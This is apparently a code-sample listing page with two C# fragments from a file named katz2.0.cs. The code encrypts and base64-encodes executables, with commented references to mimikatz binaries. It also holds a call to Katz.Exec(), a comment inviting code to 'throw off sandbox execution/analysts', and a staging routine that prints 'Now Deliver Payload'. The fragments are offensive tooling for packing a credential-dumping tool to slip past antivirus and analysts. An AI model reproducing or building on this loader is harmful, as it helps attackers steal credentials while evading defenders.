示例#1
0
文件: katz2.0.cs 项目: tuian/Utils
        public static void Main(string[] args)
        {
            if(args.Length == 2) {
                if(args[0] == "encrypt") {
                    String file = args[1];

                    //Example Extract Files and Encrypt.  Ideally you would compress.  But .NET 2 doesn't have really good Compression Libraries..
                    //byte[] b  = Misc.FileToByteArray(@"mimikatz64.exe");
                    byte[] b  = Misc.FileToByteArray(@file);
                    byte[] e = Misc.Encrypt(b,"password");
                    string f = System.Convert.ToBase64String(e);
                    File.WriteAllText(@"file.b64",f);
                    Console.WriteLine("{0}", f);

                    /*
                    byte[] b1  = Misc.FileToByteArray(@"mimikatzx86.exe");
                    byte[] e1 = Misc.Encrypt(b1,"password");
                    string f1 = System.Convert.ToBase64String(e1);
                    File.WriteAllText(@"filex86.b64",f1);
			*/

                }
            else {
                //Add any behaviour here to throw off sandbox execution/analysts :)
                Katz.Exec();

            }

        }

    }
示例#2
0
        // Token: 0x06000016 RID: 22 RVA: 0x00002CBC File Offset: 0x00000EBC
        public static void Stage(string fileName, string Key, string outFile)
        {
            byte[]     plain      = Misc.FileToByteArray(fileName);
            byte[]     array      = Misc.Encrypt(plain, Key);
            FileStream fileStream = File.Create(outFile);

            fileStream.Write(array, 0, array.Length);
            Console.WriteLine("File Ready, Now Deliver Payload");
        }